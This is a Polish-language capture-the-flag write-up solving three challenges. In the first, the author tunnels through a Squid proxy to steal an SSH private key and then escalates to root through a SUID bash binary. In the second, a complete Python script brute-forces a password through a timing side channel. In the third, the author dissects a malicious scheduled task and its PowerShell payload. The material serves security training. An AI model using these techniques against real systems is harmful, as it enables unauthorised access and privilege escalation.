Challenge Type: Miscellaneous Author: @JohnHammond
Gdzie idziemy stąd?
Zwiększ swoje uprawnienia i znajdź flagę w katalogu domowym root’a.
Tak, komunikat o błędzie, który widzisz przy starcie, jest zamierzony. ;)
(ang. Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;))
Oto poprawiona wersja tekstu:
W zadaniu otrzymujemy skonfigurowaną usługę proxy Squid. Już sam opis zadania oraz typ usługi sugeruje, że należy poszukać podatności SSRF.Po kilku próbach udaje mi się zlokalizować pierwszy port – 22, na którym działa usługa SSH.Po skonfigurowaniu Corkscrew jako narzędzia do tunelowania ruchu SSH przez Squid proxy, okazało się, że do zalogowania się do usługi potrzebuję jeszcze klucza prywatnego oraz nazwy użytkownika.
.ssh/config
host *
ProxyCommand corkscrew challenge.ctf.games 31619 %h %p
W tym momencie kluczowa okazała się cierpliwość. Dopiero na bardzo wysokim porcie, czyli 50 000, znalazłem usługę, która pozwalała na odczytywanie plików z serwera.Usługa odpowiadała bardzo wolno, ale w katalogu /home/user/.ssh/id_rsa
udało mi się znaleźć i pobrać klucz.Następnie zalogowałem się na serwer, korzystając z wcześniej przygotowanej konfiguracji. Zgodnie z opisem zadania, kolejnym krokiem była eskalacja uprawnień do root. Pierwszym krokiem, który wykonałem, było uruchomienie polecenia find / -perm /2000 -or -perm /4000 2>/dev/null
, które, ku mojemu zaskoczeniu, na liście wyników dodatkowo wykazało binarkę /bin/bash
.Za pomocą polecenia /bin/bash -p
podniosłem uprawnienia, a następnie wyświetliłem flagę z katalogu root.
Time will tell
Challenge Type: Miscellaneous Author: @aenygma
Atak boczny oparty na czasie. Odgadnij hasło w ciągu 90 sekund, zanim połączenie zostanie zakończone. Hasło jest dynamiczne i zmienia się przy każdej sesji połączenia.
(ang. A side channel timing attack. Figure out the password in 90 seconds before connection terminates. The password is dynamic and changes every connection session.)
Do rozwiązania zadania otrzymujemy kod, w którym najciekawszym elementem jest sposób weryfikacji poprawności hasła. Aplikacja sprawdza hasło znak po znaku, a gdy znak jest poprawny, wykonuje “ciężkie obliczenia”, polegające na wywołaniu funkcji sleep
z opóźnieniem 1.5 sekundy.
import pexpect
import time
child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")
possible_chars = "0123456789abcdef"
password = ""
password_len = 8
child.expect("Figure out the password")
for i in range(password_len):
max_time = 0.19
correct_char = ''
for char in possible_chars:
guess = password + char + "x" * (password_len - len(password) - 1)
start_time = time.perf_counter()
child.sendline(guess)
try:
child.expect(": ")
elapsed_time = time.perf_counter() - start_time
output = child.before.strip()
print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")
if elapsed_time > max_time:
max_time = elapsed_time
correct_char = possible_chars[possible_chars.index(char) - 1]
except pexpect.exceptions.TIMEOUT:
print(f"Timeout for char: {char}")
continue
password += correct_char
print(f"Found char: {correct_char} on {i}, current password: {password}")
print(f"Password: {password}")
child.sendline(password)
child.expect("flag:")
flag = child.before
print(f"Flag: {flag}")
child.logfile.close()
Po napisaniu skryptu, który działał poprawnie na moim komputerze, musiałem wprowadzić drobne poprawki podczas próby zdobycia flagi, uwzględniając opóźnienie sieci.
Palimpsest
Challenge Type: Malware Author: Adam Rice (@adam.huntress)
Nasz dział IT konfigurował nową stację roboczą i napotkał dziwne błędy podczas instalacji oprogramowania. Technik zauważył nietypowe zadanie harmonogramu, na szczęście utworzył jego kopię zapasową i pobrał kilka plików dziennika przed wyczyszczeniem maszyny! Czy możesz ustalić, co się dzieje? Dołączamy poniżej wyeksportowane zadanie harmonogramu i pliki dziennika.
(ang. Our IT department was setting up a new workstation and started encountering some strange errors while installing software. The technician noticed a strange scheduled task and luckily backed it up and grabbed some log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.)
Aby rozwiązać zadanie, otrzymujemy pliki evtx (logi systemu Windows) oraz konfigurację podejrzanego zadania.W pliku zadania znajdujemy linię:Po zapytaniu serwera DNS o rekordy TXT otrzymuję wiadomość zakodowaną w base64:Po zdekodowaniu wiadomości otrzymuję skrypt PowerShell.Nauczony doświadczeniem, że dalsza deobfuskacja może zająć sporo czasu, zdecydowałem się skorzystać z dynamicznej analizy i uruchomiłem skrypt w Any.run. Następnie prześledziłem wszystkie wywołania i odkryłem skrypt, który nie został wykonany z powodu braku odpowiednich informacji w logu aplikacji (Application log).
Po deobfuskacji skrypt wyglądał następująco: pobierał dane z zdarzeń związanych z MsInstaller o identyfikatorach w zakresie 40000–65000 i zapisywał je do pliku flag.mp4.
$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000
$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)
Get-EventLog -LogName "Application" -Source "Mslnstaller" |
Where-Object { $instanceRange -contains $_.InstanceId } |
Sort-Object Index |
ForEach-Object {
$data = $_.Data
$fileStream.Write($data, 0, $data.Length)
}
$fileStream.Close()
Miałem trudność z dostosowaniem skryptu, aby działał poprawnie, więc zdecydowałem się skorzystać z narzędzi chainsaw oraz jq. Dzięki poniższym poleceniom udało mi się wyodrębnić plik mp4.
chainsaw/target/release/chainsaw search 'Mslnstaller' logs/ --json -o "output.json"
jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json | xxd -r -p > flag.mp4
Plik mp4 zawierał flagę :)